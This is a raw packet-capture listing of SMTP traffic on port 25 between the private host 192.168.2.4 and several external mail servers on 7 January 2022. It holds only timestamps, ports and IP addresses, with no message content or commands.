Jan 7, 2022 15:57:39.235234976 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:39.239968061 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:39.268409014 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.268654108 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.269298077 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.401526928 CET	25	49902	51.81.57.58	192.168.2.4
Jan 7, 2022 15:57:39.401645899 CET	49902	25	192.168.2.4	51.81.57.58
Jan 7, 2022 15:57:39.401676893 CET	49902	25	192.168.2.4	51.81.57.58
Jan 7, 2022 15:57:39.402014971 CET	49918	25	192.168.2.4	51.81.57.59
Jan 7, 2022 15:57:39.408514977 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:39.408618927 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:39.431891918 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.431919098 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.431934118 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.431993008 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.432037115 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.432169914 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.432401896 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.432487011 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.502640963 CET	25	49918	51.81.57.59	192.168.2.4
Jan 7, 2022 15:57:39.502762079 CET	49918	25	192.168.2.4	51.81.57.59
Jan 7, 2022 15:57:39.505378008 CET	25	49902	51.81.57.58	192.168.2.4
Jan 7, 2022 15:57:39.537760973 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:39.537883997 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:39.539026022 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.539172888 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.596877098 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597012043 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597039938 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597064018 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597138882 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597167015 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597178936 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597218990 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597222090 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597243071 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597256899 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597259045 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597270966 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597285032 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597337008 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.597352028 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.597398996 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.699845076 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.701579094 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.736002922 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:39.736246109 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:39.757970095 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758042097 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758148909 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758167982 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758220911 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758270025 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758311987 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758331060 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758394957 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758395910 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758410931 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758459091 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758491993 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758516073 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758565903 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758725882 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758819103 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758882046 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.758904934 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.758954048 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759025097 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.759028912 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759145975 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759213924 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.759274960 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759288073 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759358883 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.759442091 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759459972 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.759509087 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.759531021 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.862492085 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.862531900 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.862633944 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.920490980 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920516014 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920525074 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920538902 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920550108 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920586109 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.920603037 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920617104 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920628071 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920641899 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.920667887 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.920684099 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.920893908 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.920963049 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921171904 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921185017 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921195984 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921221972 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921247959 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921312094 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921324968 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921335936 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921348095 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921355963 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921386003 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921408892 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921416044 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921431065 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921442032 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921452999 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921463966 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921478987 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921495914 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921515942 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921550035 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921597004 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921603918 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921607971 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921617985 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921649933 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921662092 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921663046 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921675920 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921685934 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921689987 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921714067 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921749115 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921808004 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921822071 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921833038 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921844959 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921853065 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921854973 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921870947 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921901941 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921906948 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921915054 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.921946049 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.921967030 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.023405075 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.023435116 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.023442984 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.023516893 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.023566961 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.023627996 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081327915 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081357002 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081371069 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081382036 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081449986 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081456900 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081470013 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081480026 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081506014 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081559896 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081621885 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081638098 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081644058 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081648111 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081676960 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081718922 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081737995 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081774950 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081792116 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081792116 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081806898 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081824064 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081851006 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081872940 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081901073 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081903934 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081918955 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.081938982 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.081995010 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082025051 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082083941 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082189083 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082201958 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082241058 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082268000 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082310915 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082359076 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082365036 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082371950 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082442999 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082458973 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082511902 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082561970 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082573891 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082612991 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082645893 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082653999 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082668066 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082679987 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082695007 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082705975 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082716942 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082751989 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082798958 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082839012 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082851887 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082863092 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082915068 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082915068 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082927942 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082942963 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.082957983 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.082999945 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.083024979 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.083035946 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083071947 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083084106 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083087921 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.083117008 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.083153963 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.083188057 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083201885 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083213091 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083245039 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083331108 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083343029 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083353996 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083475113 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083487034 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083498955 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083537102 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083549976 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083563089 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083579063 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083589077 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083636999 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083687067 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083698988 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083709955 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083811998 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083825111 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083836079 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083899975 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.083949089 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084064960 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084075928 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084086895 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084187031 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084199905 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084209919 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.084801912 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:40.184371948 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184425116 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184451103 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184477091 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184504986 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184530020 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184556961 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.184582949 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.238929987 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:40.239058018 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:40.242244005 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242347956 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242464066 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242484093 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242556095 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242573977 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242588043 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242679119 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242696047 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242708921 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242818117 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242835999 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242851973 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242923975 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242940903 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242954969 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.242968082 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243065119 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243146896 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243163109 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243324041 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243344069 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243451118 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243470907 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243535042 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243556976 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243571043 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243643045 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243659019 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243850946 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243874073 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.243989944 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244009018 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244024038 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244069099 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244214058 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244236946 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244252920 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244317055 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244335890 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244350910 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244452953 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244471073 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244652987 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244673014 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244688988 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244704962 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244793892 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244883060 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.244899988 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245090008 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245111942 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245126963 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245142937 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245157957 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245173931 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245187998 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245203018 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245218039 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245415926 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245434999 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245450020 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245462894 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245476007 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245488882 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245501995 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245604038 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245624065 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245637894 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245651960 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245666981 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245680094 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245744944 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.245768070 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245784044 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.245786905 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245803118 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245819092 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245832920 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245846987 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245860100 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245876074 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245892048 CET	25	49907	173.228.157.39	192.168.2.4
